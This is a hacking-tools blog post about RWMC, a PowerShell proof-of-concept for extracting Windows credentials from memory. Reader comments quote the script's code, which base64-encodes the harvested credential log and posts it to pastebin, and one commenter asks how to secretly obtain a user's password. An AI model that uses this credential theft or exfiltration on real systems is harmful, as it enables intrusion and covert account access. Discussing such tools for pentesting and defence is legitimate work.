RWMC – Retrieve Windows Credentials With PowerShell


RWMC is a Windows PowerShell script written as a proof of concept to Retrieve Windows Credentials using only PowerShell and CDB command-line options (Windows Debuggers).

RWMC - Retrieve Windows Credentials With PowerShell

It allows to retrieve credentials from Windows 2003 to 2012 and Windows 10 (It was tested on 2003, 2008r2, 2012, 2012r2 and Windows 7 – 32 and 64 bits, Windows 8 and Windows 10 Home edition).

The script is different from Mimikatz or WCE because it doesn’t work with system .dlls to decrypt data. All the decryptions are made in the script.

Features

The main features of RWMC:

  • Fully PowerShell
  • Works locally, remotely or from a dump file collected on a machine
  • Doesn’t use .dll files to locate credentials address in memory but a simple Microsoft debugger
  • Doesn’t use OS .dll files to decipher passwords collected (AES, TripleDES, DES-X)
  • Breaks undocumented Microsoft DES-X
  • Works even if you are on a different architecture than the target
  • Leaves no trace in memory

Requirements

To run this script effectively you need:

  • PowerShell 3
  • Allow PowerShell script on you machine, example : Set-ExecutionPolicy Unrestricted -force
  • An Internet Connection

You can download RWMC here:

RWMC-master.zip

Or read more here.

Posted in: Hacking Tools, Password Cracking Tools, Windows Hacking

,


Latest Posts:


Axiom - Pen-Testing Server For Collecting Bug Bounties Axiom – Pen-Testing Server For Collecting Bug Bounties
Project Axiom is a set of utilities for managing a small dynamic infrastructure setup for bug bounty, basically a pen-testing server out of the box with 1-line.
Quasar RAT - Windows Remote Administration Tool Quasar RAT – Windows Remote Administration Tool
Quasar is a fast and light-weight Windows remote administration tool coded in C#. Used for user support through day-to-day administrative work to monitoring.
Pingcastle - Active Directory Security Assessment Tool Pingcastle – Active Directory Security Assessment Tool
PingCastle is a Active Directory Security Assessment Tool designed to quickly assess the Active Directory security level based on a risk and maturity framework.
Second Order - Subdomain Takeover Scanner Tool Second Order – Subdomain Takeover Scanner Tool
Second Order Subdomain Takeover Scanner Tool scans web apps for second-order subdomain takeover by crawling the application and collecting URLs (and other data)
Binwalk - Firmware Security Analysis & Extraction Tool Binwalk – Firmware Security Analysis & Extraction Tool
Binwalk is a fast and easy to use Python-based firmware security analysis tool that allows for firmware analysis, reverse engineering & extracting of firmware.
zBang - Privileged Account Threat Detection Tool zBang – Privileged Account Threat Detection Tool
zBang is a risk assessment tool for Privileged Account Threat Detection on a scanned network, organizations & red teams can use it to identify attack vectors


9 Responses to RWMC – Retrieve Windows Credentials With PowerShell

  1. Me January 26, 2016 at 3:53 am #

    To run this script effectively you need:
    […]
    An Internet Connection

    Why is an internet connection necessary?

    • Darknet January 26, 2016 at 5:27 pm #

      I actually wondered about that too, but honestly haven’t had time to look through the code to figure it out. Perhaps the author will answer here.

    • Sysadmin January 26, 2016 at 10:04 pm #

      @Me:
      You should parse ANY script before executing…

      From the RWMC.ps1, it’s calling set-symbolserver.
      (internet access required)
      It’s also using pastebin.com
      (internet access required)

      I’ve stopped there but there’s a bunch of EXE i’d sandbox first and there’s more ps1 files to parse.

    • Batphilt January 27, 2016 at 12:21 am #

      There is an option to past the results on pastebin.

      As you can see in the following code snippet:

      $exFiltrate = Read-Host ‘Do you want to exfiltrate the data (pastebin) ?
      1) Yes
      2) No
      0) Exit

      And the associated function:

      if($exFiltrate -eq 1 -and ![string]::IsNullOrEmpty($dev_key)) {
      Write-Progress -Activity “Exfiltrate” -status “Running…” -id 1
      $dataToExfiltrate = Get-Content $logPathName
      $utfEncodedBytes = [System.Text.Encoding]::UTF8.GetBytes($dataToExfiltrate)
      $pasteValue = [System.Convert]::ToBase64String($utfEncodedBytes)
      $pasteName = “PowerMemory (Follow the White Rabbit)”
      $url = “https://pastebin.com/api/api_post.php”
      $parameters = “&api_option=paste&api_dev_key=$dev_key&api_paste_name=$pasteName&api_paste_code=$pasteValue&api_paste_private=0”
      Post-HttpRequest $url $parameters
      }

  2. Soldges January 26, 2016 at 6:07 pm #

    if($exFiltrate -eq 1 -and ![string]::IsNullOrEmpty($dev_key)) {
    Write-Progress -Activity “Exfiltrate” -status “Running…” -id 1
    $dataToExfiltrate = Get-Content $logPathName
    $utfEncodedBytes = [System.Text.Encoding]::UTF8.GetBytes($dataToExfiltrate)
    $pasteValue = [System.Convert]::ToBase64String($utfEncodedBytes)
    $pasteName = “PowerMemory (Follow the White Rabbit)”
    $url = “https://pastebin.com/api/api_post.php”
    $parameters = “&api_option=paste&api_dev_key=$dev_key&api_paste_name=$pasteName&api_paste_code=$pasteValue&api_paste_private=0”
    Post-HttpRequest $url $parameters
    }

  3. ab January 26, 2016 at 6:52 pm #

    Did this work without Internet ???

  4. giMini January 30, 2016 at 10:06 am #

    Hi,

    I’m the author of this script.

    RWMC is not more supported.

    I commited it under PowerMemory suite.

    U can find the supported suite version here : https://github.com/giMini/PowerMemory

    It was presented at HackFest Québec 2015 : https://github.com/giMini/PowerMemory/blob/master/PREZ/HackFest2015.pptx

    The Internet connection is necessary to connect to the symbol server of Microsoft.

    Yes we NEED symbols to locate addresses in memory.

    The pastebin part is there to allow the exfiltration of data in pentest case.

    This can work without Internet connection, you can test it on windows 2016. Actually, I download the server symbols from Microsoft website to prove it.

    giMini

    • Sysadmin February 1, 2016 at 11:54 pm #

      @giMini:
      Thanks for the input and the clarification.

      I did attend your presentation @hackfest, that’s some inspired hack.
      If there’s a 2016 edition and I hope you’ll be there.

  5. Derrek Bergman March 4, 2016 at 2:47 am #

    A month ago I was able to use the RWMC tool completely fine. Now I can not use the power memory to get the password of a remote machine.  I am a Network Admin who needs to get into a machine and change a user account on the machine to a standard user rather than let them have admin rights.  This way I can log into that machine as Admin change the settings I need and log back in as the correct person and they would have no idea I was ever in the machine.  How do I accomplish that with Power Memory